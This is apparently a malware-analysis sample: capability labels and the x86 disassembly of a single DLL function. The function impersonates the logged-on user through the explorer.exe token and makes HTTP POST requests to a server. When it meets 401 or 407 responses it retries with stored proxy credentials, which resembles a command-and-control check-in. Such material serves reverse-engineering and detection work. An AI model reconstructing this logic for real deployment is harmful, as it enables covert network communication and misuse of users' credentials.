Function at 0x10005400
Capabilities:
Check http status code
Connect to http server
Create http request
Enumerate processes
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov eax, dword [0x10009bb0]
sub esp, 0x67c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
xor esi, esi
push edi
cmp eax, esi
jne 0x100054d0
mov ecx, 0x8a
xor eax, eax
lea edi, [esp + 0x64]
mov dword [esp + 0x60], esi
push esi
push 2
rep stosd dword es:[edi], eax
xor ebx, ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005445
xor eax, eax
jmp 0x1000549e
lea eax, [esp + 0x60]
mov dword [esp + 0x60], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x10005495
lea ecx, [esp + 0x84]
push str.explorer.exe
push ecx
call ebp
test eax, eax
je 0x10005491
lea edx, [esp + 0x60]
push edx
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x10005495
lea eax, [esp + 0x84]
push str.explorer.exe
push eax
call ebp
test eax, eax
jne 0x1000546f
mov ebx, dword [esp + 0x68]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
sbb edx, edx
neg edx
mov dword [0x10009bb0], edx
jne 0x100054d0
mov eax, dword [esp + 0x69c]
cmp eax, esi
je 0x10005899
pop edi
pop esi
mov dword [eax], 1
pop ebp
xor eax, eax
pop ebx
add esp, 0x67c
ret
mov eax, dword [0x10009bac]
cmp eax, esi
je 0x100054de
mov eax, dword [eax + 4]
jmp 0x100054e5
mov eax, dword [esp + 0x690]
mov dword [0x10009bac], eax
mov eax, dword [eax + 4]
mov dword [esp + 0x24], eax
mov ecx, 0x8a
xor eax, eax
lea edi, [esp + 0x64]
mov dword [esp + 0x60], esi
push esi
rep stosd dword es:[edi], eax
push 2
mov dword [esp + 0x20], esi
mov dword [esp + 0x34], esi
xor ebx, ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x100055b9
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], 0x22c
push ecx
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000556f
lea edx, [esp + 0x84]
push str.explorer.exe
push edx
call ebp
test eax, eax
je 0x1000556b
lea eax, [esp + 0x60]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1000556f
lea ecx, [esp + 0x84]
push str.explorer.exe
push ecx
call ebp
test eax, eax
jne 0x10005549
mov ebx, dword [esp + 0x68]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebp
cmp ebx, esi
je 0x100055b9
push ebx
push esi
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [esp + 0x18]
mov edi, eax
push edx
push 0xf01ff
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100055af
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x18]
push ecx
call ebp
push edi
call ebp
mov edi, 0x10009164
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
mov ebx, dword [sym.imp.WININET.dll_InternetSetOptionW]
lea edx, [esp + 0x28]
not ecx
push 4
push edx
dec ecx
push 0x49
push esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x44], 4
mov dword [esp + 0x30], ecx
mov dword [esp + 0x38], 0xfffff
call ebx
lea eax, [esp + 0x28]
push 4
push eax
push 0x4a
push ebp
call ebx
push ebp
push ebp
push ebp
push ebp
push str.lynx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
mov dword [esp + 0x1c], edi
je 0x1000584a
mov ecx, dword [esp + 0x698]
mov edx, dword [esp + 0x694]
push ebp
push ebp
push 3
push ebp
push ebp
push ecx
push edx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x1000565c
mov eax, dword [esp + 0x69c]
test eax, eax
je 0x1000584a
mov dword [eax], 2
jmp 0x1000584a
mov eax, dword [0x100097a0]
mov ecx, eax
inc eax
mov dword [0x100097a0], eax
push ecx
lea eax, [esp + 0x3c]
push 0x1000915c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x38]
push 0
push 0x84400000
push 0
push 0
push 0
push ecx
push str.POST
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x1000584a
mov eax, dword [esp + 0x20]
push eax
push 0x10009164
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
mov ebp, eax
test ebp, ebp
je 0x1000584a
lea ecx, [esp + 0x34]
push 0
lea edx, [esp + 0x34]
push ecx
push edx
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x1000584a
mov eax, dword [esp + 0x30]
cmp eax, 0x197
je 0x100056fe
cmp eax, 0x191
jne 0x100057b2
mov eax, dword [0x10009bac]
mov edi, dword [esp + 0x24]
cmp edi, eax
je 0x100057ae
mov ecx, dword [edi + 4]
mov dword [esp + 0x24], ecx
mov cl, byte [edi + 0x12]
test cl, cl
je 0x10005703
cmp dword [edi + 8], 6
jne 0x10005703
lea edx, [edi + 0x13]
lea eax, [esp + 0x60]
push edx
push 0x10009344
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0xc
lea ecx, [esp + 0x60]
push ecx
call ebp
lea edx, [eax + eax + 2]
lea eax, [esp + 0x60]
push edx
push eax
push 0x2b
push esi
call ebx
add edi, 0x112
lea ecx, [esp + 0x60]
push edi
push 0x10009344
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [esp + 0x60]
push edx
call ebp
lea eax, [eax + eax + 2]
lea ecx, [esp + 0x60]
push eax
push ecx
push 0x2c
push esi
call ebx
mov edx, dword [esp + 0x20]
push edx
push 0x10009164
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
mov edi, dword [esp + 0x1c]
mov ebp, eax
test ebp, ebp
jne 0x100056c8
jmp 0x1000584a
mov edi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x290]
push 0x3ff
xor ebp, ebp
push ecx
push esi
mov dword [esp + 0x20], ebp
call ebx
test eax, eax
jne 0x10005800
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000584a
lea edx, [esp + 0x10]
lea eax, [esp + 0x28c]
push edx
push 0x3ff
push eax
push esi
mov dword [esp + 0x20], 0
call ebx
test eax, eax
je 0x100057d7
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x28c]
push 0x10009164
push edx
mov byte [esp + ecx + 0x294], 0
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x10005839
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
cmp eax, ecx
jne 0x10005839
mov ebp, 1
jmp 0x1000584a
mov eax, dword [esp + 0x69c]
test eax, eax
je 0x1000584a
mov dword [eax], 3
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x10005858
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test esi, esi
je 0x10005865
push esi
call ebx
test ebp, ebp
je 0x10005887
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [eax], edi
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x67c
ret
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10005892
push eax
call ebx
test edi, edi
je 0x10005899
push edi
call ebx
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x67c
ret